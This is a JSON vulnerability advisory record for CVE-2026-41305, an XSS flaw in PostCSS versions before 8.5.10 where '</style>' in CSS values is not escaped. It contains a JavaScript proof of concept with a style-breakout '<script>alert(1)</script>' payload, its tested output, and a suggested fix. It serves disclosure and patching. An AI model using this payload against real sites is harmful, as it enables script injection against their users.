{"id":"CVE-2026-41305","aliases":["CVE-2026-41305","GHSA-qx2v-qp2m-jg93"],"related":[],"kind":"vulnerability","state":"published","title":"PostCSS has XSS via Unescaped </style> in its CSS Stringify Output","summary":"PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.","source":"cvelist"},{"lang":"en","text":"# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output\n\n## Summary\n\nPostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS.\n\n## Proof of Concept\n\n```javascript\nconst postcss = require('postcss');\n\n// Parse user CSS and re-stringify for page embedding\nconst userCSS = 'body { content: \"</style><script>alert(1)</script><style>\"; }';\nconst ast = postcss.parse(userCSS);\nconst output = ast.toResult().css;\nconst html = `<style>${output}</style>`;\n\nconsole.log(html);\n// <style>body { content: \"</style><script>alert(1)</script><style>\"; }</style>\n//\n// Browser: </style> closes the style tag, <script> executes\n```\n\n**Tested output** (Node.js v22, postcss v8.5.5):\n```\nInput: body { content: \"</style><script>alert(1)</script><style>\"; }\nOutput: body { content: \"</style><script>alert(1)</script><style>\"; }\nContains </style>: true\n```\n\n## Impact\n\nImpact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.\n\n## Suggested Fix\n\nEscape `</style` in all stringified output values:\n```javascript\noutput = output.replace(/<\\/(style)/gi, '<\\\\/$1');\n```\n\n## Credits\nDiscovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))","format":"markdown","source":"ghsa"}],"published":"2026-04-24T02:27:47.719Z","modified":"2026-09-10T03:51:02.916Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 8.5.10","status":"affected"}],"vendor":"postcss","product":"postcss","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"8.5.10"}],"ecosystem":"npm","package":"postcss","purl":"pkg:npm/postcss","source":"ghsa"}],"references":[{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.10","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41305","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/postcss/postcss","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-24T16:22:58.569Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-41305","url":"https://www.cve.org/CVERecord?id=CVE-2026-41305","licence":"CVE Terms of Use","modified":"2026-04-24T16:23:41.198Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qx2v-qp2m-jg93","url":"https://github.com/advisories/GHSA-qx2v-qp2m-jg93","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:02.916Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-41305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41305","licence":"Public domain","modified":"2026-06-17T10:46:28.700Z"}],"updatedAt":"2026-11-25T22:59:19.451Z","epss":{"score":0.00245,"percentile":0.16835,"date":"2026-12-01T12:00:22.000Z"}}